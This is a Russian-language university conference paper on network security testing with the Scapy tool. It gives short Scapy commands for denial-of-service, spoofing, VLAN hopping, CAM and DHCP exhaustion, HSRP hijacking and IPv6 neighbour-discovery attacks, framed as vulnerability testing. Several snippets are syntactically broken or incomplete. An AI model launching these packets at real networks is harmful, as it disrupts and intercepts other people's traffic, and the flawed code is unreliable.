Автоматизация научных исследований

Председатели – Демиденко О.М., Левчук В.Д.

В.Р. Власенко, В.А. Рубин

УО «Гомельский государственный университет
имени Франциска Скорины», Гомель, Беларусь

ТЕСТИРОВАНИЕ КОМПЬЮТЕРНЫХ СЕТЕЙ ПРИ ПОМОЩИ УТИЛИТЫ SCAPY

Введение

Scapy – сетевая утилита написанная на языке Python, которая позволяет посылать, просматривать и анализировать сетевые пакеты. В отличие от большинства других сетевых утилит, Scapy не ограничена только теми протоколами, пакеты которые она может генерировать. Фактически, она позволяет создавать любые пакеты и комбинировать атаки различных типов. С помощью Scapy можно проводить сканирование, трассировку, исследования, атаки и обнаружение хостов в сети, как в интерактивном режиме, так и создавая программные сценарии. Таким образом, Scapy можно использовать как сканер уязвимостей.

Сканеры уязвимостей – это программные или аппаратные средства, служащие для осуществления диагностики и мониторинга сетевых компьютеров, позволяющее сканировать сети, компьютеры и приложения на предмет обнаружения возможных проблем в системе безопасности, оценивать и устранять уязвимости [1].

В настоящее время самая распространенная тактика борьбы с злоумышленниками в сети – сдерживание. Она включает в себя руководства по системам защиты, в которых описывается традиционный набор средств защиты, включающих применение антивирусов, брандмауэров, парольной защиты, шифрования и т.д. Мер предлагаемых тактикой сдерживания, не хватает, чтобы полностью защитить компьютерную сеть от угроз. Чтобы эффективно защитить свою компьютерную систему, инженеру необходимо самому попробовать её взломать.

Packet crafting – это техника, которая позволяет сетевым инженерам производить исследование сети, проверять правила фаерволлов и находить недостатки системы защиты, которыми могут воспользоваться злоумышленники.

РЕПОЗИТОРИЙ ГГУ ИМЕНИ Ф. СКОРИНЫ

Делается это при помощи отправления пакетов на различные устройства в сети. В качестве цели может быть брандмауэр, системы обнаружения вторжений (IDS), маршрутизаторы и любые другие участники сети [2].

Атаку искаженными сетевыми пакетами можно выполнить двумя способами. Во-первых, отсылая на атакуемый сервер некорректные пакеты, которые нарушают работу операционной системы или сетевого программного обеспечения. Во-вторых, отправляя фальсифицированные пакеты, которые вынуждают хост изменить собственные настройки или конфигурацию системы [3]. Эти атаки рассчитаны на уязвимость системы защиты. Данную атаку можно произвести при помощи Scapy:

```
send(IP(dst="10.1.1.5", ihl=2, version=3)/ICMP())
```

Ping of Death – тип атаки, при которой происходит отправка ICMP-пакетов размером больше 65536 байт (максимального размера пакета), который предусмотрен спецификацией TCP/IP.

Данные пакеты не могут передаваться по сети в целом виде, поэтому выполняется их фрагментация, и когда атакуемый хост получает фрагменты пакетов, он восстанавливает пакет недопустимого размера. В результате может произойти перезагрузка компьютера. Данную атаку можно произвести при помощи Scapy:

```
for p in fragment(IP(dst="10.0.0.5")/ICMP()/("X"*60000)):
send(p)
```

Nestea attack подразумевает под собой опасное перекрытие IP-фрагментов. Данный тип атаки может привести к краху операционной системы. Для реализации этой атаки при помощи Scapy нужно выполнить следующие команды:

```
send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*10))
send(IP(dst=target, id=42, frag=48)/("X"*116))
send(IP(dst=target, id=42, flags="MF")/UDP()/("X"*224))
```

При Land attack происходит попытка вызова замедления работы узла сети, при помощи отправки пакета с идентичными адресами получателя и отправителя. Для стека протоколов Интернет такая ситуация не нормальна. Устройство пытается выйти из бесконечной петли обращений к самой себе. Для выполнения данной атаки при помощи Scapy необходимо выполнить следующую команду:

```
send(IP(src=target,dst=target)/TCP(sport=135,dport=135))
```

VLAN hopping – общее название для атак, которые предполагают проникновение в VLAN, который до выполнения атаки был недоступен атакующему. Scapy предоставляет возможность генерации VLAN пакетов:

```
send(Dot1Q(vlan=1)/Dot1Q(vlan=2)/IP(dst='targetIP')/ICMP()
```


РЕПОЗИТОРИЙ ГГУ ИМЕНИ Ф. СКОРИНЫ

Для организации arp-spoofing в VLAN можно изменить данную команду на:

sendp(Ether(dst='clientMAC')/Dot1Q(vlan=1)/Dot1Q(vlan=2)/ARP(op='who-has', psrc='gatewayIP', pdst='clientIP'))

Переполнение таблицы коммутации – атака основана на том, что таблица коммутации в коммутаторах имеет ограниченный размер. После заполнения таблицы, коммутатор не может более выучивать новые MAC-адреса и начинает работать как хаб, отправляя трафик на все порты. Для переполнения таблицы необходимо генерировать и отсылать пакеты с разными MAC-адресами.

RandMAC() – функция Scapy, которая возвращает произвольное значение, в формате MAC адреса; параметр loop – зацикливает отправку, что в итоге приводит к исчерпанию буфера таблицы коммутатора. Для переполнения таблицы коммутации достаточно выполнить следующую команду:

sendp(Ether(src=RandMAC())/IP(dst='gatewayIP')/ICMP(), loop=10000)

Для атаки на переполнения таблицы адресов DHCP-сервера можно выполнить следующую команду:

sendp(Ether(src=RandMAC(),dst='ff:ff:ff:ff:ff:ff')/IP(src='0.0.0.0',dst='255.255.255.255')/UDP(sport=68,dport=67)/BOOTP(chaddr=RandMAC())/DHCP(options=[("message-type","discover"),"end"]), loop=1)

DNS-spoofing – атака, базирующаяся на заражении кэша DNS-сервера жертвы ложной записью о соответствии DNS-имени хоста, которому жертва доверяет, и IP-адреса атакующего. Относится к числу spoofing-атак.

Может применяться как непосредственно против хоста-клиента, выполняющего DNS-запрос к кэширующему серверу, так и по отношению к серверу, путём заражения его кэша. Во втором случае обманутыми получаются все клиенты DNS-сервера, которым он отвечает данными из своего кэша.

В Scapy данную процедуру можно реализовать при помощи следующей команды:

send(IP(dst='dnsserverIP'/UDP(dport=53)/DNS(qd=DNSQR(qname="adr")))

HSRP (Hot Standby Router Protocol) – проприетарный протокол Cisco, предназначенный для увеличения доступности маршрутизаторов выполняющих роль шлюза по умолчанию. Это достигается путём объединения маршрутизаторов в standby группу и назначения им общего IP-адреса, который и будет использоваться как шлюз по умолчанию для компьютеров в сети. Плюсом данной атаки является то, что очень сложно определить, кто в действительности посылает кадры с искаженным адресом отправителя. Для атаки на этот протокол может быть использована следующая команда написанная на Scapy:

sendp(Ether(src=’00:00:0C:07:AC:02’, dst=’01:00:5E:00:00:02’)

РЕПОЗИТОРИЙ ГГУ ИМЕНИ Ф. СКОРИНЫ

/IP(dst=’224.0.0.2’, src='attacerIP', ttl=1)/UDP()
/HSRP(priority=230, virtualIP='virtualIP'), inter=3, loop=1)

Такой пакет сделает attacerIP активным HSRP маршрутом.

В протоколе IPv6, вместо ARP появился NDP, на смену DHCP пришла автоконфигурация. На смену протоколу ICMP пришел ICMPv6. Важно то, что концепция атак осталась практически без изменений. Но стоит отметить, что добавились новые механизмы.

Протокол обнаружения соседей (Neighbor Discovery Protocol, NDP) – это протокол, с помощью которого IPv6-хосты могут обнаружить друг друга, определить адрес канального уровня другого хоста (вместо ARP, который использовался в IPv4), обнаружить маршрутизаторы и так далее. Чтобы этот механизм работал с использованием multicast, каждый раз, когда назначается link-local address или global IPv6 address на интерфейс, хост присоединяется к multicast группе. Чтобы провести атаку на данный протокол при помощи Scapy необходимо выполнить данные команды:

ether=Ether(src="hacker_mac", dst="victim_mac")
ipv6=IPv6(src="hacker_ipv6", dst=" victim_ipv6 ")
lla=ICMPv6NDOptDstLLAddr
packet=ether/ipv6/na/lla
sendp(packet,loop=1,inter=3)

С помощью Scapy легко осуществлять такие процедуры, как: сканирование, трассировку маршрута, проверку хоста, юнит-тестирование каких-либо сетевых функций, исследование сети и различные виды атак. Таким образом, Scapy позволяет провести подробное тестирование сети и выявить её уязвимости для того, чтобы в дальнейшем их можно было устранить.

Литература

1. Википедия – свободная энциклопедия // Сканеры уязвимостей [Электронный ресурс]. – 2016. – Режим доступа: https://ru.wikipedia.org/wiki/Сканеры_уязвимостей – Дата доступа: 16.08.2016

2. Bryan, B. Security power tools / B. Bryan. – First Edition. – Sebastopol: O’Reilly, 2007. – 783 p.

3. Гифт, Н. Python в системном администрировании Unix и Linux / Н. Гифт, Д. Джонс. – СПб: O’Reilly, 2009. – 512 с.

РЕПОЗИТОРИЙ ГГУ ИМЕНИ Ф. СКОРИНЫ